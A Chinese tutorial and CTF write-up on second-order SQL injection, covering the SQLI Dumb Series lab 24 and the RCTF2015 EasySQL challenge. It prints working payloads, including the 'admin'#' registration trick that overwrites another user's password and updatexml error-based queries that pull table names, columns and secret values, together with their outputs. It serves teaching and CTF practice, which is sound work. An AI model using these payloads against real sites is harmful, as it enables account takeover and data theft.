SQL注入之二次注入详解及其实践
二次注入是什么?
简单可以理解为,攻击者将构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
二次注入很难被扫描工具发现,一般在审计代码过程中发现。前端和黑盒测试很难看到,在CTF比赛中可以凭借经验猜测。
注入条件
两次注入分别是插入恶意数据、利用恶意数据。
- 用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_string、mysql_real_escape_string等函数
- 数据库能够将恶意数据取出
靶场实例(SQLI DUMB SERIES-24)
进入注册页面,用户名输入 admin'# ,这里是第一次注入,注入恶意数据。由于#在sql语言中是注释符,所以#后面的语句都会失效。
接着用注册的用户登录之后,在修改密码页面修改密码,即可修改admin用户的密码,此处为二次注入,原理如下:
# 修改密码的sql逻辑
update users set password='$new_pass' where username='$user' and password='$old_pass';
# 如果是admin'# ,#符号之后的语句将会被忽略
update users set password='$new_pass' where username='admin'# and password='$old_pass';
CTF真题实例([RCTF2015]EasySQL)
经验总结
这个题目是二次注入加报错注入,打开后发现题目有注册页面和修改密码页面,应该想到可能是二次注入,且在修改密码页面无任何回显信息,此时影响到是报错注入。
注册页面,首先尝试注册admin用户,但是提示已经注册,尝试使用二次注入的方法登录admin用户。首先,注册admin“#用户,然后修改密码,即可修改admin用户的密码。相关逻辑与靶场逻辑相同。
但是此题登录admin用户后,并没有flag,由于又注意到修改密码时,无任何回显且二次注入确实存在,所以,可能是二次注入+报错注入,注入点是username。
尝试注入(注册用户)的过程中,会提示invalid string,应该是屏蔽了某些关键字,使用burpsuite fuzz检测一下。
相关注入语句(username)
获取数据库名和相关信息test"^(updatexml(1,concat(0x7e,database(),0x7e,user()),1))#
修改密码页面的结果 XPATH syntax error: '~web_sqli~root@localhost'
获取数据表test"^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)
where(table_schema=database())),0x7e),1))#
修改密码页面的结果 XPATH syntax error: '~article,flag,users~'
获取列名test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)
where(table_name='flag'))),1)#
修改密码页面的结果 XPATH syntax error: '~flag'
爆数据库内容test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
修改密码页面的结果 XPATH syntax error: '~RCTF{Good job! But flag not her'
实际上在user下面,此处要用到regexp正则来匹配,因为无法显示完全,其中&编码为%26test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)
where(table_name='users')%26%26(column_name)regexp('^r'))),1)#
# XPATH syntax error: ':real_flag_1s_here'
获取flagd"^(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)
where(real_flag_1s_here)regexp('^f'))),1))
#
# XPATH syntax error: 'flag{6ad2ef8e-7126-4cf2-aa6b-793'
Reverse逆序test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))
from(users)where(real_flag_1s_here)regexp('^f')))),1)#
XPATH syntax error: ':}529ae1cc6397-b6aa-2fc4-6217-e8'
逆序拼接即可
flag{6ad2ef8e-7126-4cf2-aa6b-7936cc1ea925}
空空如也!